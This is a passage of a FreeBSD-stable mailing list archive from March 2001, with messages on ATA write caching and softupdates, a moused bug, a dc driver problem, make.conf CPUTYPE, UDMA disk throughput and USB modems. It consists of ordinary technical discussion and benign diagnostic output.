> especially bad case, but I really don't like to corrupt my disks, > > either. > > If basically running with blind write caching turned on is akin to > running your filesystem in async mode. This is because write > caching gives the drive license to lie about completing a write, > the various ordering of writes are effectively bypassed. If you > crash without these dependancies actually written to the disk, when > you come back up you have a good chance of losing large portions > of your filesystem. If I'm not mistaken when write caching is disabled the ATA drive does not return from the write command until the data is on disc? And that ATA drives can not overlap or queue pending commands so the pending read/writes have to queue in the kernel? Is tagged queuing the solution or is that something else? The FreeBSD kernel has a built in daemon called syncer. It sounds like a natural place to periodically issue a sync command to such storage devices. Assuming such a command exists. My "purchased because they threw in a USB Zip-100 and ATA-100 PCI card" 45G Maxtor is awfully impressive. 32000 blocks of 128k staring 8G from the begining of the disk resulted in over 30MB/sec according to dd. I'm stunned. Kernel from mid-Feb. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 16:56:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id 70BC237B719 for ; Mon, 12 Mar 2001 16:56:40 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: (qmail 6257 invoked from network); 13 Mar 2001 00:50:38 -0000 Received: from acs-24-154-53-165.zoominternet.net (24.154.53.165) by scully.zoominternet.net with SMTP; 13 Mar 2001 00:50:38 -0000 Date: Mon, 12 Mar 2001 19:56:35 -0500 (EST) From: Donn Miller X-X-Sender: To: Subject: moused goes crazy w/ heavy disk activity Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1581784652-984444995=:332" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1581784652-984444995=:332 Content-Type: TEXT/PLAIN; charset=US-ASCII With the latest syscons committs, moused jumps around, and "presses" buttons by itself with heavy disk activity. I'm using the mse0 driver. PS: moused also observed highlighting text by itself with heavy disk activity. Moused works great as long as disk activity is low or normal. --0-1581784652-984444995=:332 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="dmesg.out" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="dmesg.out" Q29weXJpZ2h0IChjKSAxOTkyLTIwMDEgVGhlIEZyZWVCU0QgUHJvamVjdC4N CkNvcHlyaWdodCAoYykgMTk3OSwgMTk4MCwgMTk4MywgMTk4NiwgMTk4OCwg MTk4OSwgMTk5MSwgMTk5MiwgMTk5MywgMTk5NA0KCVRoZSBSZWdlbnRzIG9m IHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEuIEFsbCByaWdodHMgcmVz ZXJ2ZWQuDQpGcmVlQlNEIDQuMy1CRVRBICMwOiBNb24gTWFyIDEyIDE3OjM1 OjQwIEVTVCAyMDAxDQogICAgZG1taWxsZXJAYWNzLTI0LTE1NC01My0xNjUu em9vbWludGVybmV0Lm5ldDovdXNyL3NyYy9zeXMvY29tcGlsZS9DVVNUT00N ClRpbWVjb3VudGVyICJpODI1NCIgIGZyZXF1ZW5jeSAxMTkzMTgyIEh6DQpD UFU6IFBlbnRpdW0vUDU1QyAoMTY2LjQ1LU1IeiA1ODYtY2xhc3MgQ1BVKQ0K ICBPcmlnaW4gPSAiR2VudWluZUludGVsIiAgSWQgPSAweDU0MyAgU3RlcHBp bmcgPSAzDQogIEZlYXR1cmVzPTB4ODAwMWJmPEZQVSxWTUUsREUsUFNFLFRT QyxNU1IsTUNFLENYOCxNTVg+DQpyZWFsIG1lbW9yeSAgPSA2MjkxNDU2MCAo NjE0NDBLIGJ5dGVzKQ0KYXZhaWwgbWVtb3J5ID0gNTc4Mzk2MTYgKDU2NDg0 SyBieXRlcykNClByZWxvYWRlZCBlbGYga2VybmVsICJrZXJuZWwiIGF0IDB4 YzAzNjMwMDAuDQpJbnRlbCBQZW50aXVtIGRldGVjdGVkLCBpbnN0YWxsaW5n IHdvcmthcm91bmQgZm9yIEYwMEYgYnVnDQpWRVNBOiB2Mi4wLCA0MDk2ayBt ZW1vcnksIGZsYWdzOjB4NCwgbW9kZSB0YWJsZToweGMwMzAwODQyICgxMDAw MDIyKQ0KVkVTQTogU2lTIHN1cGVyIFZHQSBjaGlwLg0KbWQwOiBNYWxsb2Mg ZGlzaw0KbnB4MDogPG1hdGggcHJvY2Vzc29yPiBvbiBtb3RoZXJib2FyZA0K bnB4MDogSU5UIDE2IGludGVyZmFjZQ0KcGNpYjA6IDxIb3N0IHRvIFBDSSBi cmlkZ2U+IG9uIG1vdGhlcmJvYXJkDQpwY2kwOiA8UENJIGJ1cz4gb24gcGNp YjANCmlzYWIwOiA8U2lTIDg1YzUwMyBQQ0ktSVNBIGJyaWRnZT4gYXQgZGV2 aWNlIDEuMCBvbiBwY2kwDQppc2EwOiA8SVNBIGJ1cz4gb24gaXNhYjANCmF0 YXBjaTA6IDxTaVMgNTU5MSBBVEEzMyBjb250cm9sbGVyPiBwb3J0IDB4ZDAw MC0weGQwMGYsMHhkNDAwLTB4ZDQwMywweGQ4MDAtMHhkODA3LDB4ZTAwMC0w eGUwMDMsMHhlNDAwLTB4ZTQwNyBpcnEgMTEgYXQgZGV2aWNlIDEuMSBvbiBw Y2kwDQphdGEwOiBhdCAweDFmMCBpcnEgMTQgb24gYXRhcGNpMA0KYXRhMTog YXQgMHgxNzAgaXJxIDE1IG9uIGF0YXBjaTANCmVkMDogPE5FMjAwMCBQQ0kg RXRoZXJuZXQgKFJlYWxUZWsgODAyOSk+IHBvcnQgMHhiODAwLTB4YjgxZiBp cnEgMTIgYXQgZGV2aWNlIDEwLjAgb24gcGNpMA0KZWQwOiBhZGRyZXNzIDAw OmMwOmRmOmVkOjBiOjE3LCB0eXBlIE5FMjAwMCAoMTYgYml0KSANCnBjaTA6 IDxTaVMgNTU5Ny85OCBTVkdBIGNvbnRyb2xsZXI+IGF0IDE5LjAgaXJxIDEx DQpmZGMwOiA8TkVDIDcyMDY1QiBvciBjbG9uZT4gYXQgcG9ydCAweDNmMC0w eDNmNSwweDNmNyBpcnEgNiBkcnEgMiBvbiBpc2EwDQpmZGMwOiBGSUZPIGVu YWJsZWQsIDggYnl0ZXMgdGhyZXNob2xkDQpmZDA6IDwxNDQwLUtCIDMuNSIg ZHJpdmU+IG9uIGZkYzAgZHJpdmUgMA0KYXRrYmRjMDogPEtleWJvYXJkIGNv bnRyb2xsZXIgKGk4MDQyKT4gYXQgcG9ydCAweDYwLDB4NjQgb24gaXNhMA0K YXRrYmQwOiA8QVQgS2V5Ym9hcmQ+IGZsYWdzIDB4MSBpcnEgMSBvbiBhdGti ZGMwDQprYmQwIGF0IGF0a2JkMA0KbXNlMDogPEJ1cy9JblBvcnQgTW91c2U+ IGF0IHBvcnQgMHgyM2MtMHgyM2YgaXJxIDMgb24gaXNhMA0KdmdhMDogPEdl bmVyaWMgSVNBIFZHQT4gYXQgcG9ydCAweDNjMC0weDNkZiBpb21lbSAweGEw MDAwLTB4YmZmZmYgb24gaXNhMA0Kc2MwOiA8U3lzdGVtIGNvbnNvbGU+IGF0 IGZsYWdzIDB4MTAwIG9uIGlzYTANCnNjMDogVkdBIDwxNiB2aXJ0dWFsIGNv bnNvbGVzLCBmbGFncz0weDMwMD4NCnNpbzAgYXQgcG9ydCAweDJlOC0weDJl ZiBpcnEgMTAgZmxhZ3MgMHgxMCBvbiBpc2EwDQpzaW8wOiB0eXBlIDE2NTUw QQ0Kc2lvMiBhdCBwb3J0IDB4M2U4LTB4M2VmIGlycSA0IG9uIGlzYTANCnNp bzI6IHR5cGUgMTY1NTBBDQpwcGMwOiA8UGFyYWxsZWwgcG9ydD4gYXQgcG9y dCAweDM3OC0weDM3ZiBpcnEgNyBvbiBpc2EwDQpwcGMwOiBTTUMtbGlrZSBj aGlwc2V0IChFQ1AvRVBQL1BTMi9OSUJCTEUpIGluIENPTVBBVElCTEUgbW9k ZQ0KcHBjMDogRklGTyB3aXRoIDE2LzE2LzE2IGJ5dGVzIHRocmVzaG9sZA0K bHB0MDogPFByaW50ZXI+IG9uIHBwYnVzMA0KbHB0MDogSW50ZXJydXB0LWRy aXZlbiBwb3J0DQpwbGlwMDogPFBMSVAgbmV0d29yayBpbnRlcmZhY2U+IG9u IHBwYnVzMA0KcHBpMDogPFBhcmFsbGVsIEkvTz4gb24gcHBidXMwDQpzYmMx OiA8RVNTIEVTMTg2OD4gYXQgcG9ydCAweDIyMC0weDIyZiwweDM4OC0weDM4 YiwweDMzMC0weDMzMSBpcnEgNSBkcnEgMSwwIG9uIGlzYTANCnBjbTA6IDxF U1MgMTh4eCBEU1A+IG9uIHNiYzENCmFkMDogMzA5M01CIDxGVUpJVFNVIE1Q QjMwMzJBVFU+IFs2NzA0LzE1LzYzXSBhdCBhdGEwLW1hc3RlciBVRE1BMzMN CmFkMjogMTA0ME1CIDxNMTYxNFRBPiBbMjExNC8xNi82M10gYXQgYXRhMS1t YXN0ZXIgV0RNQTINCmFjZDA6IENEUk9NIDxCQ0QtMjRYIDE5OTctMDYtMjc+ IGF0IGF0YTEtc2xhdmUgdXNpbmcgV0RNQTINCk1vdW50aW5nIHJvb3QgZnJv bSB1ZnM6L2Rldi9hZDBzMWENCg== --0-1581784652-984444995=:332-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 17:13:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp-server2.tampabay.rr.com (smtp-server2.tampabay.rr.com [65.32.1.39]) by hub.freebsd.org (Postfix) with ESMTP id 5030A37B718 for ; Mon, 12 Mar 2001 17:13:35 -0800 (PST) (envelope-from meconlen@obfuscated.net) Received: from clarity (24129168hfc216.tampabay.rr.com [24.129.168.216]) by smtp-server2.tampabay.rr.com (8.11.2/8.11.2) with SMTP id f2D1DMB13473; Mon, 12 Mar 2001 20:13:22 -0500 (EST) From: "Michael Conlen" To: "Kris Kennaway" Cc: "FreeBSD Stable" Subject: RE: TCPDEBUG Date: Mon, 12 Mar 2001 20:07:51 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 In-Reply-To: <20010311223619.B28355@mollari.cthul.hu> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > -----Original Message----- > On Mon, Mar 12, 2001 at 12:22:17AM -0500, Michael Conlen wrote: > > With the current stable (not -current) and > > > > options TCPDEBUG > > > > in the kernel conf file > > This should be fixed shortly - a fix went into -current earlier today. > > However, I'm wondering why you're using options TCPDEBUG since it's > not documented except by the fact that it exists. Same reason I'd use any other undocumented feature... ...to see what it does. -- Groove On Dude Michael Conlen Obfuscated Networking meconlen@obfuscated.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 17:16:29 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 544A437B71E; Mon, 12 Mar 2001 17:16:19 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2D1F0K29172; Mon, 12 Mar 2001 17:15:00 -0800 (PST) Date: Mon, 12 Mar 2001 17:14:59 -0800 From: Alfred Perlstein To: David Kelly Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA Message-ID: <20010312171459.P18351@fw.wintelcom.net> References: <200103130047.f2D0lte06674@grumpy.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103130047.f2D0lte06674@grumpy.dyndns.org>; from dkelly@hiwaay.net on Mon, Mar 12, 2001 at 06:47:55PM -0600 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * David Kelly [010312 16:48] wrote: > Alfred Perlstein writes: > > * Kevin Oberman [010312 13:46] wrote: > > > > > > How serious is the possible corruption issue, anyway. The loss in > > > performance is pretty drastic although it may be that dd is an > > > especially bad case, but I really don't like to corrupt my disks, > > > either. > > > > If basically running with blind write caching turned on is akin to > > running your filesystem in async mode. This is because write > > caching gives the drive license to lie about completing a write, > > the various ordering of writes are effectively bypassed. If you > > crash without these dependancies actually written to the disk, when > > you come back up you have a good chance of losing large portions > > of your filesystem. > > If I'm not mistaken when write caching is disabled the ATA drive does > not return from the write command until the data is on disc? And that > ATA drives can not overlap or queue pending commands so the pending > read/writes have to queue in the kernel? Is tagged queuing the solution > or is that something else? That would make the writes a bunch quicker... > The FreeBSD kernel has a built in daemon called syncer. It sounds like > a natural place to periodically issue a sync command to such storage > devices. Assuming such a command exists. This won't work. The syncer exists to: a) make sure data _eventually_ gets to disk. Basically without syncer, if your entire working set sat in cache and there was a crash, you might find yourself with data that's several days/weeks/months/whatever old! b) provide pressure on the filesystem to sync out data to free buffer space, although honestly this is mostly done by the buf_daemon now. You can't rely on the syncer to send out data ordered. (*) (*) well actually you can, but only as a side effect of the softupdates callback mechanism, when a buffer write happens and there's softdeps hung off it, a callback is made to back-out changes until the buffer is safe to write out. The problem is that you still have the writecaching going on so the ordering can get messed up. > My "purchased because they threw in a USB Zip-100 and ATA-100 PCI card" > 45G Maxtor is awfully impressive. 32000 blocks of 128k staring 8G from > the begining of the disk resulted in over 30MB/sec according to dd. I'm > stunned. Kernel from mid-Feb. > :P showoff... :) -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 17:45:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp3.knology.net (user-24-214-63-13.knology.net [24.214.63.13]) by hub.freebsd.org (Postfix) with SMTP id 58FBE37B71C for ; Mon, 12 Mar 2001 17:45:10 -0800 (PST) (envelope-from steve@havk.org) Received: (qmail 2034 invoked from network); 13 Mar 2001 01:45:09 -0000 Received: from user-24-214-88-8.knology.net (HELO bsd.havk.org) (24.214.88.8) by user-24-214-63-13.knology.net with SMTP; 13 Mar 2001 01:45:09 -0000 Received: by bsd.havk.org (Postfix, from userid 1001) id 7649B1A786; Mon, 12 Mar 2001 19:44:43 -0600 (CST) Date: Mon, 12 Mar 2001 19:44:43 -0600 From: Steve Price To: stable@freebsd.org Subject: dc network card driver problems in 4.3-BETA Message-ID: <20010312194443.C39224@bsd.havk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.2-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just upgraded a box from 4.2-RELEASE to 4.3-BETA from sources yesterday and the dc driver no longer likes my network card. The card is a Kingston KNE110TX. Here is the dmesg output from today. root@needle(~)# dmesg | more grep '^dc0:' dc0: <82c169 PNIC 10/100BaseTX> port 0xec00-0xecff mem 0xd5820000-0xd5820ff irq 11 at device 13.0 on pci0 dc0: Ethernet address: 00:c0:f0:5a:d0:ce dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state root@needle(~)# uname -a FreeBSD needle.marthapullen.com 4.3-BETA FreeBSD 4.3-BETA #0: Mon Mar 12 11:05:30 CST 2001 steve@needle.marthapullen.com:/usr/src/sys/compile/needle i386 And here is the dmesg output from the previous kernel. root@needle(~)# dmesg | more grep '^dc0:' dc0: <82c169 PNIC 10/100BaseTX> port 0xec00-0xecff mem 0xd5820000-0xd58200ff irq 11 at device 13.0 on pci0 dc0: Ethernet address: 00:c0:f0:5a:d0:ce root@needle(~)# uname -a FreeBSD needle.marthapullen.com 4.2-RELEASE FreeBSD 4.2-RELEASE #0: Mon Nov 20 13:02:55 GMT 2000 jkh@bento.FreeBSD.org:/usr/src/sys/compile/GENERIC i386 The network card was working fine until after I upgraded. Now it doesn't seem to want to transmit any packets. In fact I can't do simple things like 'ping 192.168.21.3' which is the IP address for this card without getting 'permission denied' messages. Has anyone else experienced this problem? Thanks. -- Steve Price To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 17:50:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 2F33037B721 for ; Mon, 12 Mar 2001 17:50:39 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2D1oAt18162; Mon, 12 Mar 2001 17:50:10 -0800 (PST) Date: Mon, 12 Mar 2001 17:50:09 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: "J.Goodleaf" Cc: Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <20010312232046.D24215C09@clyde.goodleaf.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 12 Mar 2001, J.Goodleaf wrote: > I don't adequately understand the difference between what you're talking > about here and what softupdates does. I have used softupdates for some time, > but now I'm nervous! Can you point me toward the nearest info source, that I > might RTFM and refrain from bugging you guys? (Given that I already tried > man softupdates and man tunefs doesn't tell me anything.) For the nitty-gritty. Look in the file: /usr/src/sys/ufs/ffs/README.softupdates We should add a pointer to that file in LINT next to the option. Here's what I understand of softupdates. I'm sure I'll be corrected if I'm wrong (at least I hope so). In the traditional UFS/FFS implementation, all meta-data (inodes/directories) updates are synchronous to try to ensure that your meta-data doesn't get corrupted in the event of a crash. Now, synchronous kinda sucks because it's slow. Of course, you can run in async mode, but you raise the risk of corrupting meta-data in the event of a crash. Linux does it this way. Enter softupdates. What softupdates does is change the sync calls to be async, so you get the speed benefits of async, while guarenteeing that your meta-data will be consistent. It does this be ordering the writes for your meta-data so it will always be in a consistent state. ie initializing an inode before pointing a directory entry to it, re-writing the directory entry before you free the inode it's pointing to, etc. Now with softupdates, you guarentee that you have a consistent set of meta-data. Even if you crash, fsck doesn't need to do a whole lot because you are guarenteed that your filesystem isn't corrupted. Now imagine if your HD lied about whether that meta-data write actually made it to disk or not. Here's a picture. You make a new directory (/usr/obj) and populate it with stuff (buildworld). Suppose everything made it to disk except the /usr/obj dir (after all, the HD is holding it in the cache). Then you crash. When the system comes back up, the /usr/obj dir would be gone. That would be bad. esp compounded by the fact that fsck doesn't actually do a full sweep of the meta-data like it used to. It figures that the fs is in a consistent state and continues on. In short, it is imperative that the hd actually writes out the data upon request for softupdates to work. -gordon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 18:14:55 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp3.knology.net (user-24-214-63-13.knology.net [24.214.63.13]) by hub.freebsd.org (Postfix) with SMTP id D49C937B719 for ; Mon, 12 Mar 2001 18:14:52 -0800 (PST) (envelope-from steve@havk.org) Received: (qmail 3779 invoked from network); 13 Mar 2001 02:14:52 -0000 Received: from user-24-214-88-8.knology.net (HELO bsd.havk.org) (24.214.88.8) by user-24-214-63-13.knology.net with SMTP; 13 Mar 2001 02:14:52 -0000 Received: by bsd.havk.org (Postfix, from userid 1001) id C92D91A787; Mon, 12 Mar 2001 20:14:25 -0600 (CST) Date: Mon, 12 Mar 2001 20:14:25 -0600 From: Steve Price To: stable@freebsd.org Subject: Re: dc network card driver problems in 4.3-BETA Message-ID: <20010312201425.E39224@bsd.havk.org> References: <20010312194443.C39224@bsd.havk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010312194443.C39224@bsd.havk.org>; from steve@havk.org on Mon, Mar 12, 2001 at 07:44:43PM -0600 X-Operating-System: FreeBSD 4.2-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please disregard this. As someone pointed out to me off-list I enabled IPFIREWALL and IPDIVERT in the new kernel and forgot to add the requisite lines to /etc/rc.conf to enable ipfw. Doh! I still get the warning messages 'dc0: failed to force...' but it does work. So call off the dogs. There's nothing to see here but me being a blithering idiot. On Mon, Mar 12, 2001 at 07:44:43PM -0600, I wrote: > I just upgraded a box from 4.2-RELEASE to 4.3-BETA from sources > yesterday and the dc driver no longer likes my network card. The > card is a Kingston KNE110TX. Here is the dmesg output from today. [snip] -- Steve Price To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 18:23:12 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id A705537B718 for ; Mon, 12 Mar 2001 18:23:09 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2D2M3H19483; Mon, 12 Mar 2001 18:22:03 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: ubc@paris.framatome.fr Cc: ohartman@klima.physik.uni-mainz.de, freebsd-stable@FreeBSD.ORG Subject: Re: ARCH flag in new make.conf In-Reply-To: References: <20010307013439I.jkh@osd.bsdi.com> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010312182203N.jkh@osd.bsdi.com> Date: Mon, 12 Mar 2001 18:22:03 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 14 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: Claude Buisson Subject: Re: ARCH flag in new make.conf Date: Wed, 7 Mar 2001 11:51:47 +0100 (CET) > If CPUTYPE is potentially dangerous, why make its use automatic ? needing > a special flag (commented OUT in /etc/default/make.conf) to deny it. It's not automatic. I don't see how or why you think that it is? > Please, revert the default: do NOT use CPUTYPE optimization in a standard That is the default. I don't need to revert anything. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 19:16:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from grumpy.dyndns.org (user-24-214-76-236.knology.net [24.214.76.236]) by hub.freebsd.org (Postfix) with ESMTP id 9BE5337B718; Mon, 12 Mar 2001 19:16:00 -0800 (PST) (envelope-from dkelly@grumpy.dyndns.org) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.2/8.11.2) with ESMTP id f2D3DTe08249; Mon, 12 Mar 2001 21:13:29 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200103130313.f2D3DTe08249@grumpy.dyndns.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Alfred Perlstein Cc: Kevin Oberman , Soren Schmidt , mobile@FreeBSD.ORG, stable@FreeBSD.ORG From: David Kelly Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Message from Alfred Perlstein of "Mon, 12 Mar 2001 17:14:59 PST." <20010312171459.P18351@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 12 Mar 2001 21:13:29 -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Alfred Perlstein writes: > * David Kelly [010312 16:48] wrote: > > > The FreeBSD kernel has a built in daemon called syncer. It sounds like > > a natural place to periodically issue a sync command to such storage > > devices. Assuming such a command exists. > > This won't work. The syncer exists to: [...] > The problem is that you still have the writecaching going on > so the ordering can get messed up. Thanks for the excellent reply. Sitting here thinking, "Duh. I knew that. Why didn't I remember that before sending?" Maybe I can blame it on the low level sinus headache which has made me grumpy all day. > > My "purchased because they threw in a USB Zip-100 and ATA-100 PCI card" > > 45G Maxtor is awfully impressive. 32000 blocks of 128k staring 8G from > > the begining of the disk resulted in over 30MB/sec according to dd. I'm > > stunned. Kernel from mid-Feb. > > > > :P showoff... :) Altho the thread is on writing the above was the read speed. Well, yes and no. Partialy its an atta-boy for Soren. After all, "everybody knows SCSI is the only serious storage media" yet Soren made the ATA stuff scream. I still boot SCSI on this machine because I always have. But no longer fret when budget doesn't allow for SCSI on something at work. Now if I really wanted to brag I'd tell you I got the HD and zip drive from Staples in December for a total of $180 (plus tax). Had to pay $53.90 for the ATA-100 card but my $50 rebate arrived today. :-) -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 19:29:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 2B5D537B719 for ; Mon, 12 Mar 2001 19:29:33 -0800 (PST) (envelope-from jmz@FreeBSD.org) Received: (from jmz@localhost) by freefall.freebsd.org (8.11.1/8.11.1) id f2D3TXN73556; Mon, 12 Mar 2001 19:29:33 -0800 (PST) (envelope-from jmz@FreeBSD.org) Date: Mon, 12 Mar 2001 19:29:33 -0800 (PST) Message-Id: <200103130329.f2D3TXN73556@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: jmz set sender to jmz@FreeBSD.org using -f From: Jean-Marc Zucconi To: freebsd-stable@FreeBSD.org Subject: UDMA 33/UDMA 100 perfs X-Mailer: Emacs 20.7.1 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is this the normal behavior expected? 1) ata0-master: DMA limited to UDMA33, non-ATA66 compliant cable ad0: 19092MB [38792/16/63] at ata0-master using UDMA33 # dd if=/dev/ad0e of=/dev/null bs=1m count=1000 1048576000 bytes transferred in 49.445390 secs (21206750 bytes/sec) 2) ad0: 19092MB [38792/16/63] at ata0-master UDMA100 # dd if=/dev/ad0e of=/dev/null bs=1m count=1000 1048576000 bytes transferred in 49.337278 secs (21253220 bytes/sec) I get the same performance in both cases. This is with a 4.3-BETA kernel. I have only one drive on the IDE bus. Jean-Marc -- Jean-Marc Zucconi -- PGP Key: finger jmz@FreeBSD.org [KeyID: 400B38E9] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 19:49: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id AE24237B718 for ; Mon, 12 Mar 2001 19:48:49 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id OAA22902; Tue, 13 Mar 2001 14:18:41 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 13 Mar 2001 14:18:41 +1030 (CST) From: "Daniel O'Connor" To: freebsd-stable@freebsd.org Subject: USB Modems in -stable Cc: usb-bsd@eleetbsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am wondering if anyone has tried either a NetCOMM Roadster USB modem, or a Mitsubishi 56k/v.92 USB modem? I'm buying them in Australia if it makes a difference :) Also, are USB modems generally 'generic' devices, ie if you tell the USB code their ID that is all you need? Or does each individual device need tweaking etc? --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 19:58: 9 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns.itga.com.au (ns.itga.com.au [202.53.40.210]) by hub.freebsd.org (Postfix) with ESMTP id 8DFCB37B719 for ; Mon, 12 Mar 2001 19:58:04 -0800 (PST) (envelope-from gnb@itga.com.au) Received: from lightning.itga.com.au (lightning.itga.com.au [192.168.71.20]) by ns.itga.com.au (8.9.3/8.9.3) with ESMTP id OAA17345; Tue, 13 Mar 2001 14:57:53 +1100 (EST) (envelope-from gnb@itga.com.au) Received: from itga.com.au (lightning.itga.com.au [192.168.71.20]) by lightning.itga.com.au (8.9.3/8.9.3) 